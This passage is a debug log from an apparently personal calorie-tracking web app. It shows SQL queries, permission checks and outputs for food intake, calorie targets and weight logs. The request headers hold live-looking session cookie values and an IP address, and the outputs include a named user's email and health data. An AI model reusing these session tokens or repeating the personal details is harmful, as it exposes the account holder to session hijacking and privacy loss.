    HTTP_COOKIE: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-23T03:51:31.283Z server-connect:app Executing action step identify
2025-12-23T03:51:31.283Z server-connect:app options: { provider: 'security' }
2025-12-23T03:51:31.283Z server-connect:output identity: 1
2025-12-23T03:51:31.680Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-23T03:51:31.682Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-23T03:51:31.683Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-23T03:51:31.683Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-23T03:51:31.684Z server-connect:app Executing action step identify
2025-12-23T03:51:31.684Z server-connect:app options: { provider: 'security' }
2025-12-23T03:51:31.684Z server-connect:output identity: 1
2025-12-23T03:51:31.684Z server-connect:app Executing action step restrict
2025-12-23T03:51:31.684Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T03:51:31.684Z server-connect:app Executing action step identify
2025-12-23T03:51:31.684Z server-connect:app options: { provider: 'security' }
2025-12-23T03:51:31.684Z server-connect:output identity: 1
2025-12-23T03:51:31.684Z server-connect:app Executing action step restrict
2025-12-23T03:51:31.684Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T03:51:31.684Z server-connect:app Executing action step identify
2025-12-23T03:51:31.684Z server-connect:app options: { provider: 'security' }
2025-12-23T03:51:31.684Z server-connect:output identity: 1
2025-12-23T03:51:31.684Z server-connect:app Executing action step restrict
2025-12-23T03:51:31.684Z server-connect:app options: { provider: 'security' }
2025-12-23T03:51:31.684Z server-connect:output restrict: undefined
2025-12-23T03:51:31.684Z server-connect:app Executing action step single
2025-12-23T03:51:31.684Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-23T03:51:31.685Z server-connect:app Executing action step identify
2025-12-23T03:51:31.685Z server-connect:app options: { provider: 'security' }
2025-12-23T03:51:31.685Z server-connect:output identity: 1
2025-12-23T03:51:31.685Z server-connect:app Executing action step restrict
2025-12-23T03:51:31.685Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T03:51:31.686Z server-connect:output restrict: undefined
2025-12-23T03:51:31.686Z server-connect:app Executing action step select
2025-12-23T03:51:31.686Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-23T03:51:31.686Z server-connect:output summary: undefined
2025-12-23T03:51:31.687Z server-connect:output restrict: undefined
2025-12-23T03:51:31.687Z server-connect:app Executing action step single
2025-12-23T03:51:31.687Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-23T03:51:31.688Z server-connect:output restrict: undefined
2025-12-23T03:51:31.688Z server-connect:app Executing action step single
2025-12-23T03:51:31.688Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-23T03:51:31.689Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-23T03:51:31.690Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-23T03:51:31.691Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-23T03:51:31.691Z server-connect:app Executing action step select
2025-12-23T03:51:31.691Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-23T03:51:31.692Z server-connect:output item_list: [
  {
    id: 493,
    intake_date: '2025-12-22T18:30:00.000Z',
    item_name: 'McCain Potato Bites',
    calories: 190,
    protein_gm: 2,
    carbs_gm: 25,
    fat_gm: 9,
    quantity: '1 serving (approx. 85g, based on typical serving size)',
    replacements: 'Baked potato wedges (plain),Air-fried sweet potato fries,Steamed or roasted vegetables',
    created_at: '2025-12-22T22:21:30.000Z',
    skip_level: 3,
    skip_reason: 'McCain Potato Bites are typically deep-fried and high in unhealthy fats and sodium. While they provide some carbohydrates for energy, the processing and frying method make them less ideal for muscle development and overall health compared to whole, unprocessed foods. For muscle development, focusing on lean protein and complex carbohydrates is more beneficial.'
  }
]
2025-12-23T03:51:31.692Z server-connect:app Executing action step setvalue
2025-12-23T03:51:31.692Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-23T03:51:31.692Z server-connect:output var_total: 190
2025-12-23T03:51:31.692Z server-connect:app Executing action step setvalue
2025-12-23T03:51:31.692Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-23T03:51:31.692Z server-connect:output var_consumed: 8
2025-12-23T03:51:31.692Z server-connect:app Executing action step setvalue
2025-12-23T03:51:31.692Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-23T03:51:31.692Z server-connect:output var_deficit: 2210
2025-12-23T03:51:31.692Z server-connect:app Executing action step custom
2025-12-23T03:51:31.692Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-23T03:51:31.694Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '190',
    surplus_or_deficit: '2210',
    status_flag: 2
  }
]
2025-12-23T03:51:32.255Z server-connect:app Executing action step identify
2025-12-23T03:51:32.255Z server-connect:app options: { provider: 'security' }
2025-12-23T03:51:32.255Z server-connect:output identity: 1
2025-12-23T04:10:33.232Z server-connect:app Executing action step identify
2025-12-23T04:10:33.233Z server-connect:app options: { provider: 'security' }
2025-12-23T04:10:33.233Z server-connect:output identity: 1
2025-12-23T04:10:35.079Z server-connect:app Executing action step identify
2025-12-23T04:10:35.079Z server-connect:app options: { provider: 'security' }
2025-12-23T04:10:35.079Z server-connect:output identity: 1
2025-12-23T04:41:33.040Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-23T04:41:33.041Z server-connect:app Executing action step identify
2025-12-23T04:41:33.041Z server-connect:app options: { provider: 'security' }
2025-12-23T04:41:33.041Z server-connect:output identity: 1
2025-12-23T04:41:33.041Z server-connect:app Executing action step restrict
2025-12-23T04:41:33.041Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T04:41:33.043Z server-connect:output restrict: undefined
2025-12-23T04:41:33.043Z server-connect:app Executing action step select
2025-12-23T04:41:33.043Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-23T04:41:33.045Z server-connect:output items_consumed_today: [
  {
    id: 493,
    item_name: 'McCain Potato Bites',
    calories: 190,
    protein_gm: 2,
    carbs_gm: 25,
    fat_gm: 9,
    quantity: '1 serving (approx. 85g, based on typical serving size)'
  }
]
2025-12-23T04:41:33.045Z server-connect:app Executing action step paged
2025-12-23T04:41:33.045Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-23T04:41:33.047Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 18,
  page: {
    offset: { first: 0, prev: 0, next: 15, last: 15 },
    current: 1,
    total: 2
  },
  data: [
    { date: '2025-12-21T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-20T18:30:00.000Z', weight: '69.80' },
    { date: '2025-12-19T18:30:00.000Z', weight: '69.95' },
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' }
  ]
}
2025-12-23T04:41:33.048Z server-connect:app Executing action step run
2025-12-23T04:41:33.048Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-23T04:41:33.049Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 493 | McCain Potato Bites | 190 | 2 | 25 | 9 | 1 serving (approx. 85g, based on typical serving size) |\n' +
  '\n'
2025-12-23T04:41:33.049Z server-connect:app Executing action step run
2025-12-23T04:41:33.049Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-23T04:41:33.050Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-21T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '\n'
2025-12-23T04:41:33.050Z server-connect:app Executing action step setvalue
2025-12-23T04:41:33.050Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-23T04:41:33.050Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 493 | McCain Potato Bites | 190 | 2 | 25 | 9 | 1 serving (approx. 85g, based on typical serving size) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-21T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
